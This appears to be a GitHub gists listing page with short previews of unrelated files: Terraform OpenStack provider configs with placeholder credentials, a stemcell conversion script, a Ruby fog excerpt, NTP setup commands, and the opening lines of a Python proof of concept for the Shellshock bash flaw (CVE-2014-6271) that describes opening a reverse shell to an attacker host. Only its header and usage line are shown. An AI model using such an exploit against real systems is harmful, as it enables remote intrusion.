This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Testing the OpenStack provider from merge of | |
# https://github.com/hashicorp/terraform/pull/924 | |
provider "openstack" { | |
user_name = "<<USER_INPUT_NEEDED>>" | |
tenant_name = "<<USER_INPUT_NEEDED>>" | |
auth_url = "<<USER_INPUT_NEEDED>>" | |
password = "<<USER_INPUT_NEEDED>>" | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Testing the OpenStack provider from merge of | |
# https://github.com/hashicorp/terraform/pull/924 | |
provider "openstack" { | |
user_name = "Openstack User" | |
tenant_name = "OPENSTACK TENANT NAME" | |
auth_url = "https://openstack-keystone-auth-uri:5000/v2.0" | |
password = "YourOpenstackPassword" | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Reverse shell using bash and /dev/tcp | |
# PoC for CVE-2014-6271 BASH RCE | |
# | |
import httplib,urllib,sys | |
if (len(sys.argv)<4): | |
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Dirty script to take a CloudFoundry BOSH stemcell and convert to RAW and repackage (default in QCOW2) | |
# Matt Johnson <[email protected]> | |
# Set some vars | |
MINPARAMS=1 | |
WORKDIR=`date | sha1sum | awk '{print $1}'` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@premvp-cloudhammer-3:~/deployments# cat /usr/local/rvm/gems/ruby-2.0.0-p451/gems/fog-1.14.0/lib/fog/openstack/requests/compute/create_server.rb | |
module Fog | |
module Compute | |
class OpenStack | |
class Real | |
def create_server(name, image_ref, flavor_ref, options = {}) | |
data = { | |
'server' => { | |
'flavorRef' => flavor_ref, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apt-get install ntp | |
cat << EOF > /etc/ntp.conf | |
driftfile /var/lib/ntp/ntp.drift | |
statistics loopstats peerstats clockstats | |
filegen loopstats file loopstats type day enable | |
filegen peerstats file peerstats type day enable | |
filegen clockstats file clockstats type day enable | |
server ntp.esl.cisco.com | |
server 0.pool.ntp.org | |
restrict -4 default kod notrap nomodify nopeer noquery |
NewerOlder